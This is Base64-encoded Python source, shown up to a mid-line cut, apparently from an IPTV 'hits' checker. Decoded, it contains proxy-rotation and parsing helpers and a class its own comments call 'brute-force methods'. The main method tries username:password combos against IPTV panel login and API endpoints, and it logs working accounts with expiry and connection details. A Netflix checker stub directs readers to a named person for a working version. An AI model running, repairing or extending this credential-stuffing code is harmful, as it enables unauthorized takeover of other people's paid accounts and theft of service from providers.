OyZxdW90OyZxdW90O1RoaXMgQ2xhc3MgaXMganVzdCB0byB3cmFwIGFsbCBmaWxlIG1ldGhvZHMmcXVvdDsmcXVvdDsmcXVvdDsKCiAgICBkZWYgZmlsZV9sZW5ndGgoc2VsZiwgZmlsZXBhdGgpOgogICAgICAgIHJldHVybiBsZW4ob3BlbihmaWxlcGF0aCwgJ3InLCBlcnJvcnM9J2lnbm9yZScpLnJlYWQoKS5zcGxpdCgnXG4nKSkKCiAgICBkZWYgZmlsZV93cml0ZShzZWxmLCBmaWxlcGF0aCwgZGF0YSwgZmlsZW5hbWUsIG1vZGUpOgogICAgICAgIEdsYi5sb2NrLmFjcXVpcmUoKQogICAgICAgIHRyeToKICAgICAgICAgICAgZndyaXRlID0gb3Blbihvcy5wYXRoLmpvaW4oZmlsZXBhdGgsIGZpbGVuYW1lKSwgZW5jb2Rpbmc9JnF1b3Q7dXRmLTgmcXVvdDssIG1vZGU9bW9kZSkKICAgICAgICAgICAgZndyaXRlLndyaXRlKGYne2RhdGF9XG4nKQogICAgICAgICAgICBmd3JpdGUuY2xvc2UoKQogICAgICAgIGV4Y2VwdCBPU0Vycm9yIGFzIGU6CiAgICAgICAgICAgIERpc3BsYXkoKS5lcnJvcl9tc2coJ2ZpbGVfV3JpdGUgZXhjZXB0aW9uIDogJyArIHN0cihlKSkKICAgICAgICAgICAgZGVsIGUKICAgICAgICBmaW5hbGx5OgogICAgICAgICAgICBpZiBHbGIubG9jay5sb2NrZWQoKToKICAgICAgICAgICAgICAgIEdsYi5sb2NrLnJlbGVhc2UoKQoKCmNsYXNzIFByb3hpZXM6CiAgICAmcXVvdDsmcXVvdDsmcXVvdDtUaGlzIENsYXNzIGlzIGp1c3QgdG8gd3JhcCBwcm94eSBwb2xsIG1ldGhvZCZxdW90OyZxdW90OyZxdW90OwoKICAgIGRlZiBnZXRfcHJveHkoc2VsZiwgcHJveHlfdHlwZSk6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBwcm94eSA9IG5leHQoR2xiLnByb3h5X3Bvb2wpCiAgICAgICAgICAgIGlmIHByb3h5LmNvdW50KCcuJykgPT0gMyBhbmQgcHJveHkuY291bnQoJzonKSA9PSAxOgogICAgICAgICAgICAgICAgaWYgcHJveHlfdHlwZSA9PSAnaHR0cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHByb3h5LCB7J2h0dHAnOiBwcm94eSwgJ2h0dHBzJzogcHJveHl9CiAgICAgICAgICAgICAgICBlbGlmIHByb3h5X3R5cGUgPT0gJ3NvY2tzNCcgb3IgcHJveHlfdHlwZSA9PSAnc29ja3M1JzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcHJveHksIHsnaHR0cCc6IGYne3Byb3h5X3R5cGV9Oi8vJyArIHByb3h5LCAnaHR0cHMnOiBmJ3twcm94eV90eXBlfTovLycgKyBwcm94eX0KICAgICAgICAgICAgZWxpZiBwcm94eS5jb3VudCgnOicpID09IDM6CiAgICAgICAgICAgICAgICBzZXJ2ZXIsIHBvcnQsIHVzZXIsIHB3ZCA9IHByb3h5LnNwbGl0KCc6JykKICAgICAgICAgICAgICAgIHJldHVybiBwcm94eSwgeydodHRwJzogZid7cHJveHlfdHlwZX06Ly97dXNlcn06e3B3ZH1Ae3NlcnZlcn06e3BvcnR9JywgJ2h0dHBzJzogZid7cHJveHlfdHlwZX06Ly97dXNlcn06e3B3ZH1Ae3NlcnZlcn06e3BvcnR9J30KICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgIHJldHVybiBwcm94eSwgeydodHRwJzogcHJveHksICdodHRwcyc6IHByb3h5fQogICAgICAgIGV4Y2VwdCBTdG9wSXRlcmF0aW9uIGFzIHN0b3BfZToKICAgICAgICAgICAgRGlzcGxheSgpLmVycm9yX21zZyhmJ3tHbGIuVn1zb21lIG9mIHlvdXIgcHJveGllcyBkbyBub3QgbWVldCB0aGUgY3JpdGVyaWEgc2VsZWN0aW9uIDp7R2xiLlJTVH17c3RvcF9lfScpCiAgICAgICAgICAgIEdsYi5ydW5uaW5nID0gRmFsc2UKICAgICAgICAgICAgaW5wdXQoJ1BsZWFzZSBwcmVzcyBFTlRFUiB0byBjb250aW51ZScpCiAgICAgICAgICAgIFN0YXJ0QXBwKCkucmVfc3RhcnRBcHAoKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgZGVsIGUKICAgICAgICAgICAgc2VsZi5nZXRfcHJveHkocHJveHlfdHlwZSkKCgpjbGFzcyBQYXJzZToKICAgICZxdW90OyZxdW90OyZxdW90O1RoaXMgQ2xhc3MgaXMganVzdCB0byB3cmFwIHRoZSBwYXJzZSBtZXRob2QmcXVvdDsmcXVvdDsmcXVvdDsKCiAgICBkZWYgcGFyc2VfYnR3X3N0cihzZWxmLCBkYXRhLCBmaXJzdCwgbGFzdCkgLSZndDsgc3RyOgogICAgICAgIHRyeToKICAgICAgICAgICAgc3RhcnQgPSBkYXRhLmluZGV4KGZpcnN0KSArIGxlbihmaXJzdCkKICAgICAgICAgICAgZW5kID0gZGF0YS5pbmRleChsYXN0LCBzdGFydCkKICAgICAgICAgICAgcmV0dXJuIGRhdGFbc3RhcnQ6ZW5kXQogICAgICAgIGV4Y2VwdCBWYWx1ZUVycm9yOgogICAgICAgICAgICByZXR1cm4gJycKCiAgICBkZWYgcGFyc2VfYnR3X3JlYyhzZWxmLCBkYXRhLCBmaXJzdCwgbGFzdCk6CiAgICAgICAgcGFyc2VfdmFsdWVzID0gW10KICAgICAgICB0cnk6CiAgICAgICAgICAgIG15X2luZGV4ID0gMAogICAgICAgICAgICBlbmRfciA9IGRhdGEucmluZGV4KGxhc3QpCiAgICAgICAgICAgIHdoaWxlIG15X2luZGV4ICZsdDs9IGVuZF9yOgogICAgICAgICAgICAgICAgc3RhcnRfID0gZGF0YS5pbmRleChmaXJzdCwgbXlfaW5kZXgpICsgbGVuKGZpcnN0KQogICAgICAgICAgICAgICAgZW5kXyA9IGRhdGEuaW5kZXgobGFzdCwgc3RhcnRfKQogICAgICAgICAgICAgICAgcGFyc2VfdmFsdWVzLmFwcGVuZChkYXRhW3N0YXJ0XzplbmRfXSkKICAgICAgICAgICAgICAgIG15X2luZGV4ID0gZW5kXyArIGxlbihsYXN0KQogICAgICAgIGV4Y2VwdCBWYWx1ZUVycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgcmV0dXJuIHBhcnNlX3ZhbHVlcwoKICAgIGRlZiBwYXJzZV9qc29uX3JlYyhzZWxmLCBvYmpfanNvbiwga2V5KToKICAgICAgICAmcXVvdDsmcXVvdDsmcXVvdDtSZWN1cnNpdmVseSBzZWFyY2ggZm9yIHZhbHVlcyBvZiBrZXkgaW4gSlNPTiB0cmVlLiZxdW90OyZxdW90OyZxdW90OwoKICAgICAgICBkYXRhID0gW10KCiAgICAgICAgZGVmIGpzb25fcmVjKG9ial9qc29uLCBrZXksIHBhcnNlKToKICAgICAgICAgICAgaWYgaXNpbnN0YW5jZShvYmpfanNvbiwgZGljdCk6CiAgICAgICAgICAgICAgICBmb3IgaywgdiBpbiBvYmpfanNvbi5pdGVtcygpOgogICAgICAgICAgICAgICAgICAgIGlmIGlzaW5zdGFuY2UodiwgKGRpY3QsIGxpc3QpKToKICAgICAgICAgICAgICAgICAgICAgICAganNvbl9yZWModiwga2V5LCBkYXRhKQogICAgICAgICAgICAgICAgICAgIGVsaWYgayA9PSBrZXk6CiAgICAgICAgICAgICAgICAgICAgICAgIHBhcnNlLmFwcGVuZCh2KQogICAgICAgICAgICBlbGlmIGlzaW5zdGFuY2Uob2JqX2pzb24sIGxpc3QpOgogICAgICAgICAgICAgICAgZm9yIGl0ZW0gaW4gb2JqX2pzb246CiAgICAgICAgICAgICAgICAgICAganNvbl9yZWMoaXRlbSwga2V5LCBkYXRhKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgcmV0dXJuICcnCiAgICAgICAgICAgIHJldHVybiBkYXRhCgogICAgICAgIHJldHVybiBqc29uX3JlYyhvYmpfanNvbiwga2V5LCBkYXRhKQoKICAgIGRlZiBwYXJzZV9qc29uX3N0cihzZWxmLCBvYmpfanNvbiwga2V5KToKICAgICAgICAmcXVvdDsmcXVvdDsmcXVvdDtzZWFyY2ggZm9yIHZhbHVlcyBvZiBrZXkgaW4gSlNPTiB0cmVlLiZxdW90OyZxdW90OyZxdW90OwoKICAgICAgICBpZiBpc2luc3RhbmNlKG9ial9qc29uLCBkaWN0KToKICAgICAgICAgICAgZm9yIGssIHYgaW4gb2JqX2pzb24uaXRlbXMoKToKICAgICAgICAgICAgICAgIGlmIGlzaW5zdGFuY2UodiwgKGRpY3QsIGxpc3QpKToKICAgICAgICAgICAgICAgICAgICBzZWxmLnBhcnNlX2pzb25fc3RyKHYsIGtleSkKICAgICAgICAgICAgICAgIGVsaWYgayA9PSBrZXk6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHYKICAgICAgICBlbGlmIGlzaW5zdGFuY2Uob2JqX2pzb24sIGxpc3QpOgogICAgICAgICAgICBmb3IgaXRlbSBpbiBvYmpfanNvbjoKICAgICAgICAgICAgICAgIHNlbGYucGFyc2VfanNvbl9zdHIoaXRlbSwga2V5KQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHJldHVybiAnJwoKICAgIGRlZiBwYXJzZV9yZWdleChzZWxmKToKICAgICAgICBwYXNzCgoKY2xhc3MgTW9kdWxlczoKICAgICZxdW90OyZxdW90OyZxdW90O1RoaXMgQ2xhc3MgY29udGFpbiBhbGwgYnJ1dGUtZm9yY2UgbWV0aG9kcyZxdW90OyZxdW90OyZxdW90OwoKICAgIGRlZiBfX2luaXRfXyhzZWxmKTogICMgbWFjQ29tYm8sIHVzZXIsIHB3ZCk6CiAgICAgICAgJnF1b3Q7JnF1b3Q7JnF1b3Q7VGhpcyBzZWN0aW9uIGNvdWxkIGJlIGVkaXQgaWYgeW91IHdhbnQgdG8gYWRkIG1vcmUgbW9kdWxlcy9zY3JpcHQvbWV0aG9kIGFjY29yZGluZyB0byB5b3VyIG5lZWRzJnF1b3Q7JnF1b3Q7JnF1b3Q7CiAgICAgICAgaW1wb3J0IHJlcXVlc3RzIGFzIGh0dHAKICAgICAgICBSZXF1aXJlbWVudHMoKS5zZWxmY2hlY2soKQogICAgICAgIHNlbGYucmVxdWVzdHMgPSBodHRwCiAgICAgICAgc2VsZi5teUhlYWRlcnMgPSB7J0Nvbm5lY3Rpb24nOiAmcXVvdDtrZWVwLWFsaXZlJnF1b3Q7LCAnQWNjZXB0JzogJnF1b3Q7Ki8qOyBjaGFyc2V0PXV0Zi04JnF1b3Q7LCAnQWNjZXB0LUVuY29kaW5nJzogJnF1b3Q7Z3ppcCwgZGVmbGF0ZSZxdW90O30KICAgICAgICBzZWxmLmhhbmRfc2hha2UgPSAnc3RiJmFtcDthY3Rpb249aGFuZHNoYWtlJmFtcDt0b2tlbj0mYW1wO3ByZWhhc2g9MCZhbXA7SnNIdHRwUmVxdWVzdD0xLXhtbCcKICAgICAgICBzZWxmLmdlbmVycyA9ICdpdHYmYW1wO2FjdGlvbj1nZXRfZ2VucmVzJmFtcDtKc0h0dHBSZXF1ZXN0PTEteG1sJwogICAgICAgIHNlbGYuaW5mbyA9ICdhY2NvdW50X2luZm8mYW1wO2FjdGlvbj1nZXRfbWFpbl9pbmZvJmFtcDtKc0h0dHBSZXF1ZXN0PTEteG1sJwogICAgICAgIHNlbGYueGNfcHJvZiA9ICcvcG9ydGFsLnBocD90eXBlPXN0YiZhbXA7YWN0aW9uPWdldF9wcm9maWxlJmFtcDtoZD0xJmFtcDtKc0h0dHBSZXF1ZXN0PTEteG1sJwogICAgICAgIHNlbGYueGNfY21kID0gJy9wb3J0YWwucGhwP3R5cGU9aXR2JmFtcDthY3Rpb249Y3JlYXRlX2xpbmsmYW1wO2NtZD0mYW1wO2ZvcmNlX2NoX2xpbmtfY2hlY2s9MCZhbXA7anNIdHRwUmVxdWVzdD0xJwogICAgICAgIHNlbGYuc3RrbF9wcm9mID0gJy9zZXJ2ZXIvbG9hZC5waHA/dHlwZT1zdGImYW1wO2FjdGlvbj1nZXRfcHJvZmlsZSZhbXA7aGQ9MSZhbXA7dmVyPUltYWdlRGVzY3JpcHRpb246IDAuMi4xOC1yMTQtcHViLTI1MDsgSW1hZ2VEYXRlOiBGcmkgSmFuIDE1IDE1OjIwOjQ0IEVFVCAyMDE2OyBQT1JUQUwgdmVyc2lvbjogNS42LjA7IEFQSSBWZXJzaW9uOiBKUyBBUEkgdmVyc2lvbjogMzI4OyBTVEIgQVBJIHZlcnNpb246IDEzNDsgUGxheWVyIEVuZ2luZSB2ZXJzaW9uOiAweDU2NiZhbXA7bnVtX2JhbmtzPTImYW1wO3NuPSZhbXA7c3RiX3R5cGU9TUFHMjUwJmFtcDtjbGllbnRfdHlwZT1TVEImYW1wO2ltYWdlX3ZlcnNpb249MjE4JmFtcDt2aWRlb19vdXQ9aGRtaSZhbXA7ZGV2aWNlX2lkPSZhbXA7ZGV2aWNlX2lkMj0mYW1wO3NpZ25hdHVyZT0mYW1wO2F1dGhfc2Vjb25kX3N0ZXA9MSZhbXA7aHdfdmVyc2lvbj0xLjctQkQtMDAmYW1wO25vdF92YWxpZF90b2tlbj0wJmFtcDttZXRyaWNzPW15X21ldHJpY3MmYW1wO2h3X3ZlcnNpb25fMj04ZmQ2MzNmMDAyMTcyZThiZGYxZWE2NjJhMzM5MDI3MWQ3YTFiYzk5JmFtcDt0aW1lc3RhbXA9bXlfdGltZSZhbXA7YXBpX3NpZ25hdHVyZT0yNjImYW1wO3ByZWhhc2g9MCZhbXA7SnNIdHRwUmVxdWVzdD0xLXhtbCcKICAgICAgICBzZWxmLnN0bGtfZXBnID0gJy9zZXJ2ZXIvbG9hZC5waHA/dHlwZT1lcGcmYW1wO2FjdGlvbj1nZXRfZGF0YV90YWJsZSZhbXA7ZnJvbV90cz0xNjMyNTQ0MjAwMDAwJmFtcDtmcm9tPTIwMjEtMDktMjUlMjAwMDozMDowMCZhbXA7dG9fdHM9MTYzMjU0OTYwMDAwMCZhbXA7dG89MjAyMS0wOS0yNSUyMDAyOjAwOjAwJmFtcDtmYXY9MCZhbXA7Y2hfaWQ9NTAyJmFtcDtwPTEmYW1wO0pzSHR0cFJlcXVlc3Q9MS14bWwnCiAgICAgICAgc2VsZi51cmxBcGkgPSAnbXlfc2VydmVyL3BsYXllcl9hcGkucGhwP3VzZXJuYW1lPW15X3VzZXImYW1wO3Bhc3N3b3JkPW15X3B3ZCcKICAgICAgICBzZWxmLnVybE0zdSA9ICdteV9zZXJ2ZXIvZ2V0LnBocD91c2VybmFtZT1teV91c2VyJmFtcDtwYXNzd29yZD1teV9wd2QmYW1wO3R5cGU9bTN1X3BsdXMnCiAgICAgICAgc2VsZi5wYW5lbERhc2ggPSAnL2FwaS5waHA/YWN0aW9uPXJlc2VsbGVyX2Rhc2hib2FyZCcKCiAgICBkZWYgbmV0ZmxpeChzZWxmLCBkYXRhKToKCiAgICAgICAgIyByZXBsYWNlIHRoZSBjb2RlIGJldHdlZW4gdGhlc2UgbGluZXMgd2l0aCB5b3VyIG5ldGZsaXggc2NyaXB0IG9yIGNvbnRhY3QgQnJhdW5fVHIgZm9yIGEgd29ya2luZyBvbmUgIDopCiAgICAgICAgcmVzdWx0ID0gdHVwbGUoKQogICAgICAgIHRyeToKICAgICAgICAgICAgIyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAgICAgICAgIHRlc3QgPSBHbGIudXNlUHJveHkKICAgICAgICAgICAgR2xiLnJ1bm5pbmcgPSBGYWxzZQogICAgICAgICAgICByZXN1bHQgPSAnRXJyb3InLCAnVGhpcyBtb2R1bGUgaGFzIG5vIGJlZW4gaW1wbGVtZW50IHlldCcKICAgICAgICAgICAgRGlzcGxheSgpLmVycm9yX21zZyhyZXN1bHRbMV0pCiAgICAgICAgICAgIHRpbWUuc2xlZXAoNCkKICAgICAgICAgICAgIyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBuZToKICAgICAgICAgICAgZGVsIG5lCiAgICAgICAgZmluYWxseToKICAgICAgICAgICAgaWYgR2xiLnJlc3VsdF9sb2dnZXIgaXMgTm9uZToKICAgICAgICAgICAgICAgIEdsYi5yZXN1bHRzLnB1dChyZXN1bHQpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBHbGIucmVzdWx0X2xvZ2dlcihyZXN1bHQpCiAgICAgICAgcmV0dXJuCgogICAgZGVmIGlwdHZfdXNlcl9wYXNzKHNlbGYsIGRhdGEsIGN1c3RvbVNlcnZlcnM9Tm9uZSk6CiAgICAgICAgJnF1b3Q7JnF1b3Q7JnF1b3Q7VGhpcyBpcyB0aGUgbWV0aG9kIG9yIHNjcmlwdCBpcyBmb3IgQnJ1dGUgRm9yY2UgSVBUViBtM3UgbGluayZxdW90OyZxdW90OyZxdW90OwoKICAgICAgICByZXN1bHQgPSB0dXBsZSgpCiAgICAgICAgVXNlciwgUGFzcyA9IGRhdGFbJ19kYXRhJ10uc3BsaXQoJzonKQogICAgICAgIHNlcnZlckxpc3QgPSBHbGIuc2VydmVyTGlzdAogICAgICAgIGlmIGN1c3RvbVNlcnZlcnMgaXMgbm90IE5vbmU6CiAgICAgICAgICAgIHNlcnZlckxpc3QgPSBbZid7dXJscGFyc2UoY3VzdG9tU2VydmVycykuc2NoZW1lfTovL3t1cmxwYXJzZShjdXN0b21TZXJ2ZXJzKS5uZXRsb2N9J10KCiAgICAgICAgZm9yIHNlcnZlciBpbiBzZXJ2ZXJMaXN0OgogICAgICAgICAgICBzZXNzaW9uID0gc2VsZi5yZXF1ZXN0cy5zZXNzaW9uKCkKICAgICAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgICAgIGFsbEluZm8gPSBkaWN0KCkKICAgICAgICAgICAgICAgIGlmIEdsYi51c2VQcm94eSA9PSAneWVzJzoKICAgICAgICAgICAgICAgICAgICBteVByb3h5ID0gUHJveGllcygpLmdldF9wcm94eShHbGIucHJveHlfdHlwZSkKICAgICAgICAgICAgICAgICAgICBzZXNzaW9uLnByb3hpZXMudXBkYXRlKG15UHJveHlbMV0pCiAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeydQcm94eVVzZWQnOiBteVByb3h5WzBdfSkKICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICBoZWFkZXIgPSBzZWxmLm15SGVhZGVycwogICAgICAgICAgICAgICAgICAgIGhlYWRlci51cGRhdGUoeydVc2VyLUFnZW50JzogZiZxdW90O3tHbGIudXNlckFnZW50fSZxdW90O30pCiAgICAgICAgICAgICAgICAgICAgbXlVcmwgPSBzZWxmLnVybE0zdS5yZXBsYWNlKCdteV9zZXJ2ZXInLCBzZXJ2ZXIpLnJlcGxhY2UoJ215X3VzZXInLCBVc2VyKS5yZXBsYWNlKCdteV9wd2QnLCBQYXNzKQogICAgICAgICAgICAgICAgICAgIGh0dHBfcmVxID0gc2Vzc2lvbi5nZXQobXlVcmwsIGhlYWRlcnM9c2VsZi5teUhlYWRlcnMsIGFsbG93X3JlZGlyZWN0cz1UcnVlLCB0aW1lb3V0PUdsYi53YWl0VGltZSkKICAgICAgICAgICAgICAgICAgICByZXFHZXQgPSBodHRwX3JlcS50ZXh0CiAgICAgICAgICAgICAgICAgICAgdXJsX3NlcnZlciA9IGh0dHBfcmVxLnVybAogICAgICAgICAgICAgICAgICAgIGlmICdFWFRJTkYnIGluIHJlcUdldDoKICAgICAgICAgICAgICAgICAgICAgICAgcGFyc2VkX3VybCA9IHVybHBhcnNlKHVybF9zZXJ2ZXIpCiAgICAgICAgICAgICAgICAgICAgICAgIHJlYWxfc2VydmVyID0gJ3t1cmkuc2NoZW1lfTovL3t1cmkubmV0bG9jfScuZm9ybWF0KHVyaT1wYXJzZWRfdXJsKQogICAgICAgICAgICAgICAgICAgICAgICB1cmxJbmZvID0gc2VsZi51cmxBcGkucmVwbGFjZSgnbXlfc2VydmVyJywgcmVhbF9zZXJ2ZXIpLnJlcGxhY2UoJ215X3VzZXInLCBVc2VyKS5yZXBsYWNlKCdteV9wd2QnLCBQYXNzKQogICAgICAgICAgICAgICAgICAgICAgICBhbGxJbmZvLnVwZGF0ZSh7J/CfjI4gSG9zdCc6IHJlYWxfc2VydmVyLCAn8J+RpCBVc2VybmFtZSc6IFVzZXIsICfwn5SRIFBhc3N3b3JkJzogUGFzc30pCiAgICAgICAgICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGdldEluZm8gPSBzZXNzaW9uLmdldCh1cmxJbmZvLCBoZWFkZXJzPXNlbGYubXlIZWFkZXJzKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YSA9IGdldEluZm8uanNvbigpWyd1c2VyX2luZm8nXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhwX3BhcnNlID0gZGF0YVsnZXhwX2RhdGUnXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgZXhwX3BhcnNlIGlzIE5vbmU6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhwX2RhdGUgPSAn8J+Sq1VOTElNSVRFRPCfkqsnIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiByZS5zZWFyY2goJ14oWzAtOV17MTAsMTV9KSQnLCBleHBfcGFyc2UpOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4cF9kYXRlID0gc3RyKGRhdGV0aW1lLmZyb210aW1lc3RhbXAoaW50KGV4cF9wYXJzZSkpLnN0cmZ0aW1lKCclYiAlZCwgJVkgJykpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4cF9kYXRlID0gc3RyKGV4cF9wYXJzZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1heF9jb254ID0gZGF0YVsnbWF4X2Nvbm5lY3Rpb25zJ10KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIG1heF9jb254IGlzIE5vbmU6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWF4X2NvbnggPSAnVW5rbm93L1VubGltaXRlZCA9JwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeyfimbvvuI8gU3RhdHVzJzogZGF0YVsnc3RhdHVzJ10sICfwn5OGIEV4cGlyZSBEYXRlJzogZXhwX2RhdGUsICfwn5KBJnp3ajvimYLvuI8gQWN0aXZlIENvbm5lY3Rpb24nOiBkYXRhWydhY3RpdmVfY29ucyddLCAn8J+RqCZ6d2o78J+RqSZ6d2o78J+RpiZ6d2o78J+RpiBNYXhpbXVtIENvbm5lY3Rpb24nOiBtYXhfY29ueH0pCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbCBlCiAgICAgICAgICAgICAgICAgICAgICAgIGNhdGVfbGlzdCA9IHNvcnRlZChzZXQoUGFyc2UoKS5wYXJzZV9idHdfcmVjKHJlcUdldCwgJ2dyb3VwLXRpdGxlPSZxdW90OycsICcmcXVvdDsnKSkpCiAgICAgICAgICAgICAgICAgICAgICAgIHVybF9nZXQgPSBmJ3tzZXJ2ZXJ9L2NsaWVudF9hcmVhLycKICAgICAgICAgICAgICAgICAgICAgICAgcGF5bG9hZCA9IHsndXNlcm5hbWUnOiBmJ3tVc2VyfScsICdwYXNzd29yZCc6IGYne1Bhc3N9J30KICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9yZXFfZ2V0ID0gc2Vzc2lvbi5nZXQodXJsX2dldCwgaGVhZGVycz1zZWxmLm15SGVhZGVycywgYWxsb3dfcmVkaXJlY3RzPVRydWUsIHRpbWVvdXQ9R2xiLndhaXRUaW1lKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdXJsX2VuZCA9IFBhcnNlKCkucGFyc2VfYnR3X3N0cihodHRwX3JlcV9nZXQudGV4dCwgJ2FjdGlvbj0mcXVvdDsnLCAnJnF1b3Q7Jmd0OycpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmxfcG9zdCA9IGYne3VybF9nZXR9e3VybF9lbmR9JwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyLnVwZGF0ZSh7J1JlZmVyZXInOiBmJnF1b3Q7e3VybF9nZXR9JnF1b3Q7fSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGh0dHBfcmVxX3Bvc3QgPSBzZXNzaW9uLnBvc3QodXJsX3Bvc3QsIGRhdGE9cGF5bG9hZCwgaGVhZGVycz1zZWxmLm15SGVhZGVycywgYWxsb3dfcmVkaXJlY3RzPVRydWUsIHRpbWVvdXQ9R2xiLndhaXRUaW1lKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVxX3Bvc3QgPSBodHRwX3JlcV9wb3N0LnRleHQKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICZxdW90O2xvZ291dCZxdW90OyBpbiByZXFfcG9zdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGxfY2F0ID0gUGFyc2UoKS5wYXJzZV9idHdfc3RyKHJlcV9wb3N0LCAmcXVvdDt2aXNpYmxlLWxpbmtzJyZndDsmcXVvdDssICZxdW90OydoaWRkZW4tbGlua3MmcXVvdDspCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2F0ZV9saXN0MiA9IHNvcnRlZChzZXQoUGFyc2UoKS5wYXJzZV9idHdfcmVjKGFsbF9jYXQsICcmcXVvdDsmZ3Q7JywgJyZsdDsvYSZndDsnKSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXRlX2xpc3QyLnJlbW92ZSgmcXVvdDtBbGwmcXVvdDspCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhjZXB0OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgbGVuKGNhdGVfbGlzdCkgJmd0OyBsZW4oY2F0ZV9saXN0MikgJmd0OyAwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXRlX2xpc3QgPSBjYXRlX2xpc3QyCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAgICAgZmlsZU5hbWUgPSBzZXJ2ZXIuc3BsaXQoJzovLycpWzFdLnNwbGl0KCc6JylbMF0uc3BsaXQoJy8nKVswXQogICAgICAgICAgICAgICAgICAgICAgICBteV9kYXRlID0gZGF0ZXRpbWUubm93KCkuc3RyZnRpbWUoJyVkLiViLiVZICVIOiVNICVwJykKICAgICAgICAgICAgICAgICAgICAgICAgYWxsSW5mby51cGRhdGUoeyfwn5G6IFRnJzogJnF1b3Q7aHR0cHM6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5sLmNvbS9GYXdrZXNJUFRWJnF1b3Q7LCAn8J+ThiBTY2FuIERhdGUnOiBteV9kYXRlLCAn8J+UlyBNM3UgTGluayc6IHVybF9zZXJ2ZXIsICfimpnvuI8gTW9kdWxlJzogJnF1b3Q7VXNlci9QYXNzIEhpdHMgU3lzdGVtJnF1b3Q7LCAn8J+TuiBDaGFubmVscyc6ICcg4pem4oqw8J+RuuKKseKXpiAnLmpvaW4oY2F0ZV9saXN0KSwgJ0ZpbGVOYW1lJzogZmlsZU5hbWV9KQogICAgICAgICAgICAgICAgICAgICAgICByZXN1bHQgPSAoJ0dvb2QnLCBhbGxJbmZvKQogICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGh0dHBfcmVxLmNvb2tpZXMuY2xlYXIoKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdXJsSW5mbyA9IHNlbGYudXJsQXBpLnJlcGxhY2UoJ215X3NlcnZlcicsIHNlcnZlcikucmVwbGFjZSgnbXlfdXNlcicsIFVzZXIpLnJlcGxhY2UoJ215X3B3ZCcsIFBhc3MpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBodHRwX3JlcUFwaSA9IHNlc3Npb24uZ2V0KHVybEluZm8sIGhlYWRlcnM9c2VsZi5teUhlYWRlcnMsIGFsbG93X3JlZGlyZWN0cz1UcnVlLCB0aW1lb3V0PUdsYi53YWl0VGltZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICcmcXVvdDthdXRoJnF1b3Q7OjEnIGluIGh0dHBfcmVxQXBpLnRleHQ6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YSA9IGh0dHBfcmVxQXBpLmpzb24oKVsndXNlcl9pbmZvJ10KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleHBfcGFyc2UgPSBkYXRhWydleHBfZGF0ZSddCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgZXhwX3BhcnNlIGlzIE5vbmU6CiAg